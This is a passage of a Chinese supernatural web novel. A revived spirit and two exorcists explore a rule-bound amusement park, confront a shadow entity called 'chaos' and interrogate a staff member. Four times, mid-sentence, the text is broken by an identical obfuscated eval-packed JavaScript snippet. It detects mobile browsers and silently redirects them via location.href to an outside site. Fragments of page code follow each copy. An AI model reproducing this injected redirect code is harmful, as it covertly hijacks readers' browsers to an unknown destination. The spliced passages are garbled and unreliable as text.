被切成两半的虫子就这么应声消失。窗外月光并不明亮,却也足够令我看清面前一切所在。 消散的烟雾萦绕之外,我的被子之上,借着月光映出一条长长影子,从我的身体生发出来,延伸到对面墙壁之上。那分明是我的影子,却又有着与我迥然不同的形状。 ——6、小心影子,那未必是属于您的。 我虽然睁开了眼睛,却再没有其他动作。而那道原本应该属于我的影子却骤然间自行伸长,动了起来。 那一片与纯粹黑暗具有明显不同的影子脱离墙面,幻化成一团三维立体的存在——但又并非实体,我平生第一次见到这样的东西,就算在我有印象的常识中,也从未听说过有这样诡谲的玩意儿。 这仿佛是由水波、软泥、烟雾等等或黑色或褐色的液态气态物体所组成,造物者显然又未能将它们搅拌均匀,导致不同质地就这么纷繁复杂地聚合在一起,这里一块那里一团,细碎稠密,随着动作的进行,这些液态或气态不断流动扭动,又如同脂肪一般颤巍巍地抖动。 古怪、恶心、危险、邪恶,我很难用单独一个词汇来形容这团东西带给我的感觉,非要总结一下的话,这绝非善类。 谁家好人长这个德行!! 我和眼前的玩意儿对视一秒,一股难言的眩晕感顷刻冲上心头,如同是精神遭到攻击。 由于眼前存在长得实在过于恶心,如果说它带给我的这种精神攻击无关灵力,仅仅是由于其过于糟糕的外表而导致的,这个结论其实我也不是不能相信。 但过于汹涌的灵力波动,昭示着事实并非如此。 尽管这一刻于我仿佛被无限拉长,但事实上从我突然睁开眼睛切断飞虫,到那道从我延伸而来的影子与我对视,其间也只是经过了十多秒钟。 而正如我所猜测的,房间里的另外两个人也并没有安心睡去,只这么细微的一点风吹草动,除我之外的两道呼吸声均已经发生了变化。 他们在犹豫。 两人目前的想法并不难猜:现下显然是我违反了规则,致使自己陷入了糟糕境地之中,但如果现在“醒来”出手帮我,那么违反规则的就要变成三个人。 情况并不会变得更好。 如果我是他们,我不会出手。 如果不能在这时立刻解决眼前这团影子,越拖下去,只会越难收场。 现在只能依靠我的力量,解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290627|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个问题了。 灵力凝集,我能感受到片羽在我的心念操纵之下,蓄势待发。 切断什么? ——答案早已经有了。 随着片羽出手,下一刻,我眼前一片黑暗,失去了意识。 …… 一觉天亮。 眼皮底下一片亮堂,昭示着天光大亮。我睁开眼睛,确认地看向窗外的晨光,又瞅一眼表,已经是早晨6点40,距离我切断自己的意识,已经过去了差不多10个小时。 没错,失去的意识是我自己切断的。 当时情形下,如果说手中的片羽应该去斩断什么,那么最佳答案只能是我的意识。 从目前得到的经验来看,黑色字体规则的准确性应该是毋庸置疑的——也就是说,只要我彻底睡着失去意识,那道黑影就确实无法奈何我了。 佐证之一就是,在此之前它只是以虫子袭扰我,以达到让我醒来的目的。这说明它确实无法直接袭击当时只是佯装睡着的我。 规则是对游客的约束,对那特殊的黑影来说,同样如此。 房间里只有我和乐语,姚千不见踪影。 我从床上坐起来:“姚千人呢?” “说去二楼其他房间再看看,我先守着你。刚才叫你了,怎么也叫不醒。”乐语坐在椅子上悠哉啃面包,“睡得挺香啊。” “那确实。”我摸摸后脑勺,“早知道会变成那样,我就应该从躺在床上的那一刻起,就咔一下切断自己的意识,也就没那么多事了。” “这是你新的灵能力?” 看来乐语也知道我生前我从床上跳下来,“不算吧。姚千说我生前的——听起来怪怪的——灵能力也是灵力形成的丝线。” “片羽,我知道。”乐语道,“现在它能切断你的意识?” “对。” 乐语嗯了一声,若有所思,“看来之前的传闻居然是真的。说驱灵师死了之后,如果能够化成残灵,灵能力也会有所变化。” “这种例子很少见?”我问。 “不多见。”乐语看我一眼,“残灵本来就不多,灵能力者也并不会比一般人更容易变成残灵。” “那我也算是不错的研究对象,”我挑眉,“你要研究一下?我不介意你拿我写篇论文。” “不要随随便便说出这么麻烦的东西……”乐语扭过头,想起什么又道,“不过这种话题也算是有价值,可以在论坛发篇帖子。” “什么论坛?”我立刻问道。 “你不知道?”乐语一句反问过后,眼睛下意识朝走廊门,也就是姚千离开的地方看了一眼,“姚千没告诉你?” “没有。” 乐语似乎思考两秒,收起一贯和善又随意的笑容,认真了几分:“吉光,我还没有问过你,你作为残灵醒来,有多久了?” 不等我回答,他继续道,“你失踪已经有十年,如果是从那时就变成残灵,依照你的能力,不应该什么都不知道才对。” “也不应该直到现在,我们才遇到。” 29. 风铃游乐园游客守则08 “你看起来对我很了解嘛。” 我没有作答,反而是眯着眼开了个玩笑。 “那是当然。”乐语非常不谦虚,“不夸张的说,我应该是世界上第二了解你的人了。” 乐语这种略显厚颜无耻的品格,实在是让我很难怀疑自己和他谈过恋爱这件事。甚至说这人在某种程度上会让我有种照镜子一般的感觉——我们确实有不少相似的点。 我好奇问:“那第一是谁?” 乐语不假思索:“姚千啊。” “哈?”我意外了一秒,随即遗憾道,“我以为会有更新颖一点的答案。” “真不好意思,让您失望了。” 我摸摸下巴,还是不能理解:“为什么你会这么认为?很古怪不是吗,你说你是我的前男友,姚千说我失踪时我和他还是情侣关系。那我应该是先认识你,再认识姚千的才对。按照正常逻辑,我认识姚千的时候,应该已经和你分手了吧?那你又为什么对我和姚千的关系那么了解?” “啊?”乐语略微皱眉,意外道,“你们谈了?” “……” 我也沉默了,挤出一句话,“你不知道?那你以为姚千是我什么人?” “你的搭档,你带的新人徒弟啊,不然呢?” 乐语的表情里没有玩笑成分,“我认识你的时候,你们已经搭档有两年了吧。虽然后来我们是谈了一段时间,但毕竟是异地见面少……据我所知,你关系最好的朋友就是姚千了。” “所谓友情比爱情长久,朋友比恋人了解得更多。我做这种推测,也很合理对不对?” 乐语一顿,手指敲敲桌子做回忆状,“不过确实。我也察觉到姚千是有点喜欢你,不过喜欢你的人实在太多,你们认识那么久要是能谈早就谈了,我也没当回事。” 最后他用八卦语气结束了自己的一大段话,“话说回来——你们到底什么时候谈的?” 我呵呵:“我要是知道就好了!” 话说到这里,走廊外传来一阵脚步声,姚千推开门进来,我和乐语齐刷刷看向他,动作整齐划一,房间里气氛古怪。 姚千看看乐语,又看看我,没什么表情的脸上露出少许莫名:“你说你知道什么就好了?” “我说,”我硬生生答曰,“我要是知道那黑影究竟是什么玩意儿就好了。” 我真是天才,一句话把所有话题拉回正轨。 昨晚两人只是听到动静,谁也没有真的睁眼看到我所眼见的影子。我将昨晚见到的一切讲给两人,终止在我用片羽切断了自己的意识。 “原来是这样,”姚千接着我的话,叙述道,“昨晚你的灵力第二次闪过之后,很快房间里异样的灵力也消失了。也就是说,你切断自己的意识后,所见的那个黑影确实无从下手,自行消失了。” 乐语则摇头评价:“真干脆啊,就这么一刀把自己的意识切断了,你就不怕自己失去意识之后出现什么意外吗?” “你们两个都不是傻子,做不出见死不救的事情。”我哂然,“当时的情形,救我的收益明显更大。” “不是收益的问题……” 姚千话说半句,乐语笑了一声,指着我手臂上的黑色印迹:“你还是别太自信,少作点死比较好。” 早晨醒来时我也已经发现了,比起昨晚入睡前,我小臂上的黑色痕迹已然扩大,想必是因为我昨晚再次违反规则的缘故。 天可怜见,这次真的不怪我,分明是那虫子主动招惹我的,如果不是那玩意儿直冲我的面门,我绝不会故意找茬睁开眼睛。 我望臂兴叹:“你们就没有听到虫子的声音?总不能只针对我一个人吧。” 乐语耸肩:“没有。” 姚千也否认。 “或许是因为你身上已经具有了黑色印迹。”他猜测道,“我遇见过类似的情况,印迹对于残灵而言,往往具有标记的作用。一旦打上标记,会更容易吸引到残灵的注视。” 我很不乐观地接受了这个猜测。 天色已然大亮,但距离能开始游览的早晨8点还有一段时间。我问姚千:“你刚才出去发现什么了吗?” 昨晚我们进入这里时,时间已经相当紧张,故而没有在二楼仔细查看过。姚千这才从口袋里拿出一支笔递过来:“隔壁的204房间,找到了这个。” 一杆红色的笔。 看上去实在平平无奇,和我手上的蓝色笔款式差不多,也就是超市里出售两种笔中的另外一种。 “在笔的旁边还写了一句话,”姚千平淡地补充,“具体的还是去现场看看吧。” 跟在他身后往204走去,我忍不住道:“怎么突然就现场了?你这用词多少有点涉嫌营造恐怖氛围。” “不是故意,”姚千推开门,朝屋里一歪头,“是用词准确。” 昨天是姚千负责去查看二楼其余房间有没有人,所以我也是第一次踏进204房间。一开门,便见房间里犹如台风过境,一片狼藉,原有的桌椅翻倒一片,最剧烈的是那张床铺,竟然拦腰断成了三截,露出参差不齐的木板横截面。床单被铺一片黢黑,蜷缩在遥远的房间对侧。满房间尽遗落着木头被摔断遗落的残屑。 事情发生的时间还不算很久,屋子里残留着令人作呕的糟糕味道。 我眨眨眼:“……昨晚就是这样子的?” 姚千:“嗯。” 乐语的语气也抖了抖:“那你为什么不说?” “我不是说了吗,有点异常,问题不大。”姚千道,“昨天时间不多了,今早再仔细查看就好,不影响。” “……行,吧。” 面对这个解释,我一口气还是压不下去,又比划道,“我说,见到了这么轰轰烈烈的场景,你就不能有点分享欲吗?” “哦。”姚千看看我,眼睛里隐约有揣测意味,“……下次一定。” “不是这个意思……”我犹如一拳打在棉花上,话在嗓子里来回几下,又咽回去,“算了。” 乐语看热闹,意义莫名地笑了一声,率先踏进屋子里,问姚千:“笔是在哪里捡到的?” “沙发一侧。”姚千道,“应该是滚进去的,昨晚我只是简单看了一眼,才没有找到笔。” 我也进屋,仔细看来,又能发现许多端倪。比如屋中不但地面凌乱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305157|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连天花板上的墙漆也尽显被巨力砸过的痕迹,周围四面墙壁更不必提,墙皮脱落还算是轻的,严重者连钢筋都露出来半截。 姚千所说的沙发附近,更是渗着大片陈旧黏腻的液体痕迹,显然是人类的血液。 “这不是人力能做到的。”我说出显而易见的结论,“灵能力,又或者,是我昨晚看到的东西。” 姚千不作答,默默把他刚才所指的沙发朝另一方向掀了过去,只见沙发下仍然是大片斑斑血迹,出血出到这个份儿上,正常人类恐怕是很难活命了。鉴于灵能力者往往也只是有正常人类的身体素质,此刻我对血迹主人的生还概率并不看好。 下一秒,我的目光朝上落在了沙发的上端,只见被大片黑色印迹浸透的沙发布艺上,隐约显出了几条……红色字迹。 字体不大,又紧挨着血迹,近乎被血迹浸透,沙发本身又是棕色布料,故而需要凑近才能看到。加之这块位置本身就位于倾倒沙发的朝下一面,故而不是仔细检查,是很难发现得了的。 ——混沌杀不了我 ——不要遵守规则 ——我是 ——混沌 最后两句话有些许间隔,字迹也更加凌乱,混沌两字的笔画彻底飘忽,如果不是上面也写了一个混沌可以对照笔迹,几乎是认不出来最后这两个字的。 我和乐语一齐陷入了沉默。 姚千补充:“这是今天早晨刚刚发现的,除此之外我在房间其他地方也查看了,确实没有其他字迹。” “红色圆珠笔就散落在沙发附近,这几行字,应该就是这支红色笔写出来的。” “混沌啊。”我咀嚼着这个名词,“如果说这就是我昨晚看到的那个东西的名字,那倒是很形象。” 昨晚那个掺杂着不同质地液体、颤抖流动着的恶心存在再次浮现在我脑海之中,下意识的恐惧犹如电流一般从我心头一闪而过,只是这次相比昨晚,要轻巧不止百倍了。 “所以,这片狼藉的制造者,也就是战斗的双方,应该就是一位持有红色圆珠笔的工作人员——比如进入灵域的驱灵师之一。” 结合目前状况,我总结道,“或许是因为违反了规则,他和昨晚的我一样,见到了混沌,并与它进行了一番战斗。” 我环顾屋内:“屋内的痕迹虽然多,但类型单一,应该都是这个灵能力者自己造成的。没有发现那个所谓混沌留下的痕迹,或许它的能力是直接作用在人体之上的。” “而从结果来看,失败的是灵能者。” 我叹了口气继续道,“第一句话,混沌杀不了我,可能是对现状的一种陈述,又或许是一种将死前的嘴硬。” “第二句话,内容暂且不提,从情感上来看,应该算是一种告诫或者留给后来人的经验,又或,是表达一种情绪剧烈的强调。” 我说到这里,终于将目光投向最后四个字。 我是。 混沌。 乐语眉头拧着,同样注视着几行红字:“所以,这四个字,意思是……” 他一顿,似乎接下来的话太过匪夷所思而难以出口,“他最终被混沌侵占了?” 30. 风铃游乐园游客守则09 “从我昨晚见到那个存在的状态来看,不是没有这种可能。” 我耸耸肩,虽说心中也感到骇然,但对这个猜想还算接受良好。 我再次描述道:“刚才说过了,从那个东西之上,我感受到了强烈的情绪——恶心、恐惧、厌恶。最初我会认为,是它极度恶心的外表致使我产生了这样的感觉。” “但仔细想来,在我重复回忆起那个画面时,其实并没有产生同样激烈,甚至不及当时十分之一的情绪。” “那种极度的不适感,是它所强加给我的。那是一种精神影响。” “也就是说,任何看到那个存在,或者是被它施加了灵能力的人,都会产生十分强烈的恐惧情绪。”乐语摸了摸下巴,继续道,“这个混沌的灵能力,是与精神有关的?” 没有定论,即便是我们推测出来的,也并非百分之百的确定。在房间里搜索一会儿,确定没什么其他有用线索后,我们离开了这个房间。 走出房间,“不要遵守规则”这句话,仍然盘桓在我心中,犹如一把沉重钥匙悬在门锁之上,仿佛只要变幻角度,便能够将其严丝合缝地插入其中,揭开门后的答案。 八点一到,我们从超市离开,隔壁便是游乐园的全息影院。 和之前经过的设施一样,全息影院同样冷冷清清,半个人影也见不到。属于影院的规则与海报一起张贴在影院大门口,我和乐语站在门外,照例阅读一番。 风铃游乐园游客守则【全息影院】 1、本影院属于游乐园内部影院,无需额外购票。 2、本影院一日放映两次电影,开场时间分别为上午9:30和下午2:30。请提前5分钟进入影院等待。 3、放映影片公示在影院门口,只有一种,每人每周可观看两次。 4、影院灯光由工作人员操纵,(此处被红色字迹涂掉了一句话)且勿在电影开场后(蓝色字迹抹掉原字修改为:携带)任何发光设备。 5、本影院将使用世界级高端设备,使您在影院获得最身临其境的体验。请放心,您在全息电影中看到的一切都是(此处被红字迹涂抹,修改为:真的),请勿(此处被红色字迹涂掉,从边角痕迹来看应该是“当真”两字)。 6、作为员工福利之一,工作人员可以欣赏电影,如果在附近座位上见到工作人员,请不要奇怪。 7、电影开始后,请勿交谈、请勿更换座位。 8、本影院电影时长为3分钟29秒,请您合理安排游玩时间,享受愉快观影过程。 (红色字迹:无论你看到了什么,请记住,那是想让你看到的东西。) (另一个红色字迹:不要看) (再不同的蓝色字迹:这只是电影) 读完规则,我的目光长久落在旁边那张海报之上,干笑一声:“又见面了?” 只见海报上绘制着一副风格十分现代抽象艺术的黑白图画,黑白凌乱地散落在画面中,得不出什么明显的图形,只能看出是手工绘制的,虽然水平不高,却十分用心,边边角角都涂满了颜色,制作耗时颇长。 海报正中央用扭曲的红色绘制着两个字: 混沌。 恰好距离电影开场只有十几分钟,我和乐语按照规则上的指示,提前进入影厅,规规矩矩坐在座位上开始等待。 不得不说,这个影院的环境还挺不错的,和寻常的电影院差别并不算大,令我回忆起作为残灵在电影院蹭过的几场电影。只美中不足的是,这个全息影院里没有爆米花贩卖。 姚千不在身边,等待时间里,我又想起一小时前和乐语被打断的那个话题。 “我是七月份左右醒来的,”和乐语并排坐着,我突然打破沉默道,“今年七月份。” 现在是十一月初,满打满算,我从苏醒到现在也只有四个月,还算是半个新鲜出炉的残灵。 乐语很快反应过来我在说什么,电影院里还没熄灯,我看到他露出果然如此的表情:“怪不得这么多事情你都不知道。” “作为残灵醒来时,我什么记忆都没有。”我继续叙述道,“误打误撞遇到姚千也是9月份的事情了,我和他认识才不到一个半月而已。至于驱灵这些事情,更是毫无印象。” “听你的语气,是对自己有点茫然?”乐语突然道。 我对他的猜测没什么意见,坦然笑道:“作为一个刚拥有记忆四个多月的残灵来说,茫然也正常吧。” “哈。”乐语笑了两声,似有感慨道,“是很正常,只是我没有见过茫然的你,才会觉得奇怪。 “其实失忆前的你,和现在的你还是很像。这次遇见你和姚千,也会时常让我想起来十年前合作时的情形。” “以前的我不会茫然?”我对于围绕失忆前我的一切评价都很敏感。 乐语语气里褪去常常带有的笑意,声音沉下来,很认真地答:“嗯。你是一个很坚定的人。” “你曾经说过,我们的性格有许多相似之处。”他说,“但我知道,你比我要坚定太多了。” “坚定什么?”我追问。 “所有事情吧。”乐语给出了一个含糊的答案,“你对一切都有自己的看法,会听别人的意见,但不会跟从他人的决定。” 他轻轻笑了一声,似有感慨,“所以我们合不来。” 很快,乐语又接上另一句话,问我:“所以你现在在为什么感到茫然?” “为很多吧。”我用玩笑口吻轻松道,“作为不能融入社会的残灵,想着如何生活下去,实在是有很多问题等待解决,不是吗?” 乐语眉头微挑,侧过脸注视着我,我能轻易从他微笑的脸上看出戏谑意味:“你没说真话。你不是为这种事情烦恼的人——你知道真正的问题是什么,只是没有说而已。” “不过,说给我听也没有意义。”他转回头,带着笑意又说,“我没办法给你答案,你也不需要我的答案。” “你肯定有自己的答案。” 他语气笃定,“只是你还没能将它确定下来。” “对吧?”乐语就这么用“我肯定猜对了”的语气反问我。 我只好叹一口气:“你用这种多少带有欠揍属性的语气问我,是很难得到积极回答的。” 乐语又笑了一声,正当此时,影院里哗一声暗下来,只有中间靠前的大屏幕亮着,为影院内提供了基本的亮度。这正要开场的预示,恰好将我即将出口的一句“我知道了”压了回去。 倒不如说,这一瞬间,影院突然的变故令我大脑几乎空白了一秒,想说什么都已经忘得干干净净。 原本空荡荡只有我和乐语的观影席上,这一瞬间,不知为何竟然密密麻麻满满当当坐满了穿着红色马甲的人。 每个座位,包括紧邻着我和乐语的座位上,一座一个,座无虚席。 身材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314470|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各异、性别各异、面容各异的人,维持着同样僵硬的、毫无血色的、毫无表情的脸,正脸朝前,面向着正前方的大屏幕。 而后,在我刚从这变化中缓过神来的下一刻,所有红色马甲包裹的人一起动了。 不同方向,不同动作,维持着那张令人不适的脸,百余个工作人员一齐转动头颅和睁大的眼睛—— 朝我和乐语看了过来。 ——8、本影院电影时长为3分钟29秒。 不得不说,对于我而言,这实在是漫长的三分钟。 电影院再次亮起顶灯,回到现实中时,我实在没忍住,很缺少风度地长舒了一口气,拍拍胸口以做压惊。 转头看乐语,一贯很注重个人形象管理的乐大师额头上也冷汗涔涔,刘海汗湿一缕,皱着眉,连目光都轻微涣散,可见的确吓得不轻。 我们对视一眼,我先发制人:“相比起来,还是你看上去更狼狈一点。” “是比较这个的时候吗?” 乐语无语一秒,看上去恐惧感也已经消散不少,问我道,“所以,你昨晚在……” 他的话被我口袋里骤然响起的手机铃声打断,我接起电话:“喂,姚千?” “抓到了。”电话里姚千向我汇报情况,“过来吧。” 向姚千询问完他所在的具体位置,挂掉电话,我看到乐语脸上无语色彩更加重几分:“我们不是已经按照规则,把手机这种能发光的东西连同包都放在门口了吗?” 还安排了乐语的纸人守着。 “没错。”我落落大方地承认,“我偷拿出来的。实践证明了,蓝色笔迹的修改,果然是错误的。” “对此我已经有九分以上的把握。”我宽慰他,“知道不会出事的。” 乐语呵呵冷笑,往远处看一眼,又看我一眼,显出那种终于忍不住的表情:“按道理来讲,我现在应该问你为什么不告诉我。” “但我能猜到你肯定会说,如果你跟我说了,我大概率不同意让你把手机拿进来做实验。但……” 我打断他的话,露出一个标准的微笑:“谢谢,你真懂我。” “……”乐语彻底不看我了,看上去是害怕自己多看一眼就会真被我气死,“走吧,去姚千那里。” 和姚千分头行动,是我们从超市出来就定好的计划。 鉴于我们至今为止还没有和游乐园的任何一个工作人员进行过正常的交流,抓到一个工作人员就成了目前的重要任务之一。 根据地图的显示,超市外不远处就是全息影院。 就算超市没有收银员,我相信,这座游乐园还没有发展出全自动放映设备——电影开始时,放映室里至少应当有人才对。 为了减少工作人员的疑虑,我们兵分两路,我和乐语前去观影,姚千则凭借胜于我们两人的较高机动力,执行抓获工作人员的任务。 现在看来,计划非常成功。我和乐语走进放映室,见到被布条缠了十多圈,裹成三分之一个木乃伊的工作人员正在椅子上徒劳地扭动。 姚千则坐在一边,看到我们进来:“这里的电影怎么样?” 我干笑一声:“没有去看,实在是你的重大遗憾。” 姚千不解地哦了一声,我继续道:“是混沌。” “这里的全息电影,放映的果然是我昨晚看到的那个东西。” “或者说,是升级plus版本。” 31. 风铃游乐园游客守则10 想起刚才看到的画面,我心中仍不免生起恐惧之感。 数百个毫无表情的脸同时转动过来。 由于影院里光线昏暗,只有屏幕一个光源,这些苍白的脸便大半都埋在黑暗里,由五官勾勒出渗人的阴影,一张脸便足够出演一部恐怖电影,而这密密麻麻的脸,便乍然将恐惧叠出了数个平方。 我刚努力在这样的画面下稳定心神,周遭一切便再次变动,那些半阴半阳的脸庞逐渐模糊,像是被硫酸融化,所有人同步由人类流动成液态,失去细节失去五官失去属于人类的形状——转化成长条的不被引力限制的浓稠液体。 被打亮的地方变白,其余的变黑变灰,踏着同样的步调朝上流动,聚合在一起,变成一团整体。 真熟悉。 见过海报标题后,我虽然已经有所预料,却还是被再次见到的混沌短暂钳住了心神——不得不说,以此物之糟糕的外貌条件,每一次见到都足以令人产生新鲜的负面情绪。 而又不止如此。这外表虽然骇人,但要想令人产生如此剧烈的恐怖感,是灵能力之外所无法达到的。 也就是说—— 骇人念头从我脑中骤然出现。 眼前的混沌并不完全是全息电影所表演出来的逼真假象,连同刚才那些逼真到恶心的、密密麻麻的工作人员形象,也都是混沌的造物。 从形式上来看,这是一场全息电影,而实际上我和乐语恐怕是陷入了混沌使用灵能力所制造出的,幻觉。 我们已入彀中。 未经我针对这个糟糕结论做出什么合理反应,那漂浮在影院半空之中,聚合了数百人体积——数百人的数量虽然多,但将这些人变成液态揉成混沌状态,体积却也并没有想象中那么巨大——的浑浊巨球,如同掉下的一大块水银,黑白灰无规律交织着、富有质感的大团液体突然朝着地面坠落,硬生生砸进我们面前不远处的座位。 如同山洪倾泻,那液态甫一落地,便四散漫延,从球状变成饼状,下一刻便直朝着我所在的位置扑来。 ——7、电影开始后,请勿交谈、请勿更换座位。 我没有移动,任由这粘稠浓郁的绝望淹没我的座位。水浪一般,水位升高,潮闷与窒息由下而上,没过鼻尖,封住双眼,将我彻底掩埋。 濒死感拥挤过半个世纪那么漫长后,乍然消失。 至此,电影才终于结束。 我简单叙述道:“混沌所故意营造的幻觉,根据其展现的意向或者说主题而言,无非是表现了一种情绪——恐惧。” “从开头大量面无表情的工作人员,到后来被混沌淹没的体感,即是从外到内,从视觉刺激到感官折磨,不过是为了向观影者脑中植入根深蒂固的想法,也就是对混沌的畏惧。” 乐语摸摸鼻尖:“这也就是为什么,工作人员也可以观看电影的缘故吧。” “在这个乐园里,受到限制的不止是游客,也有工作人员。”他慢悠悠地笑起来,转头目光已经落在那个已经放弃了挣扎的红马甲中年人身上。 “让你们感受到恐惧,对混沌、对规则产生畏惧,当然也是它的目的之一。” 他像是个公布答案的年轻教师,用“你觉得对不对呀”的探寻目光温和地看着工作人员,仿佛是要得到对方一个恍然大悟的肯定。 这位工作人员却别过了脸,显然缺少配合的意愿。 “你们抓我做什么?我不能回答你们无关问题。”他几乎是有些神经质地张口说出这句话,顿了顿,又神经质地重复一遍,“根据规则,根据规则,我不能回答你们无关问题。” 姚千眨眨眼,追问道:“这句也是属于你们的规则?” “你们不能用工作无关的话题询问我!” 工作人员的声音又抬高了八度。 真熟悉,这句话不就是游乐园门口总则里面的吗?这位对规则的掌握程度,可谓是如数家珍。 虽然心中调侃,涉及到规则,我确实谨慎了几分。 到底什么才算是与工作无关的话题? 我沉默下来,正兀自思索,姚千却再次开口了,却是朝着我和乐语。他从口袋里拿出一支笔,朝我们晃了晃:“从他身上搜出来的。” 是一支蓝色的笔。 这是蓝色笔迹阵营的工作人员。 我于是接下话,故意朝姚千回道:“哦,原来那些蓝色字迹,都是这人和他的同伴留下的。” 我语气略为夸张,确实有试探的意味,却没想到,眼前的工作人员只是听到这句话,尚且没被绑缚的双腿连同身体都轻微抖动起来,仿佛是被戳中了什么心虚的事情,眼睛竟然朝着另一边侧了过去,嘴唇蠕动着小声开口: “怎么了,怎么了,改动都是对的。都是好的。” “这都是为你们好,为你们好……” 为我们好?怎么为我们好?还有不为我们好的? 未及细细琢磨他所说的话,我继续道:“所以,你所做的,并不违反你作为工作人员的职责。” “对,对。” 眼前工作人员的脸色越发灰白,令我不由得回忆起方才在电影院所见那些灰白的脸,但此刻这人的情态却又大有不同,要丰富得多,双目透着惊恐,牙齿战战,令人不由担心他说话间会不会咬到舌头。 而随着这人的动作,他面朝着我的姿势也发生了改变,使我突然注意到,他的肩膀与寻常人并不相同,更加厚实,再循着肩膀往后看,竟然看到了类似于手臂的痕迹。 他有四条手臂。 “我所做的,全部都是为了游客好。我没有做错,我在履行身为工作人员的职责。” 分明没有人问他,他却止不住话地继续道,“我身上没有一点点印迹,我是最合格的最尽职的工作人员,我没有做错,不会做错。” 姚千摇了摇头,突然道:“不对。” “最开始见到他时,他不是这样的。” 听到这话,我心中一凛,朝那人道:“你在害怕什么?害怕混沌?” 此话脱口的瞬间,一股诡谲又熟悉的气息骤然升腾,手背黑色印迹的皮肤周遭倏然一凉,我眼前的视野中,大片的雪白墙皮骤然被黑色占据,混沌在我视野中显形。我终于明白过来,眼前的工作人员究竟在害怕什么。 方才我们都没有看到,混沌没有在我们面前显形。 而对于这个工作人员而言,混沌已然掩埋了他半个身体。 “走吧。”我立刻挥手,道,“先就这样。” “再拖下去,他说不定就要死了。” 恐怕从我们开始与他对话时,又或者姚千在搜出蓝色圆珠笔时,混沌便已经将这个工作人员视为正在与游客进行无关工作的对话。 尽管中途我尝试耍小聪明,与姚千对话试图避免被规则判定,但现在看来,作用并不算大。 真是严苛的判定啊。 从全息影院出来,我问姚千拿来邓科长的平板。 姚千知道我想要什么,一边将平板递给我一边道:“有他,我印象里这张脸。” 临走前,邓科长将他手里的平板交给了我们,里面存着有关于风铃游乐园的全部资料。他向我们叙述过的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323957|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中重要的一部分,另外一些细节连同照片也都在这些资料里面,可供随时查看。 其中,所有尸体在游乐园被发现的受害者,相关信息包括照片也一起记录在资料之中。 昨晚,我已经翻看过一次,想确定我在超市仓库里见到的那个人是否也是被害者之一。可惜当时看到的时间太短,加之光线不好,我对那个年轻人的印象并不算清晰,对着照片们翻看半天,只觉得和其中一人有个六七八分相似,下不了定论。 这次则看得要清楚太多,打开平板,我翻看几张,很快找到了今天见到的这个中年人,相似度高达百分之九十以上。 姚千和乐语也接过平板看了看,都可以确认。 “果然啊,”乐语道,“游客的末路,果然是工作人员。” “不止这么简单,”我目光落在这人身上,方才的一幕幕再次从脑中仔细地滤过,“刚才那个人是不是提到,他身上没有一点印迹。” 得到肯定答案,我沉默片刻,突然道:“我们去过山车再看一下怎么样?” 姚千问:“想看什么?” “印迹。”我说,“那个晃荡的衣架,身上究竟有没有黑色印迹。” 这里距离过山车不过是十多分钟的步行距离,很快我们便再次见到了昨天和空气墙缠斗的,形似衣架的那位工作人员。然而这次不同的是,经过一晚,这位的情况似乎更加恶化,连站着的活力都已经失去,整个人仰躺在过山车前面的椅子上。 尽管如此,他整个身体仍然不能放松弯曲,只能直挺挺地倒在那里,毫无起伏,看不出是生是死。 我们想查看这人身上是否有印迹,上前几步来到近前,他仍然浑然不动,如果不是彻底干枯的鼻翼下还有空气的流动,几乎要令人以为他已经彻底失去了生气。 “根据规则来看,工作人员大多是存在异变的,”乐语大概是又想起方才那位中年人的四条胳膊,“又或者说,正如游客会变成工作人员一样,工作人员会逐渐变得异样,也是普遍规律。” “如果只是这么简单,那么规则和混沌,在这个乐园里,又起到什么作用?”我道。 姚千垂着眼,语气中似有思考:“你是认为,身上是否存在黑色印迹,与红笔或蓝笔的阵营有关?” “并不只是印迹,对工作人员行动的方式、逻辑,我已经有点眉目了。” 我正说到这里,突然间,面前的衣架骤然抽搐,兜帽下的眼睛以一种仿佛要冲破眼窝的样子剧烈地瞪圆起来,却并不是面对我们,而是朝向遥远天空。 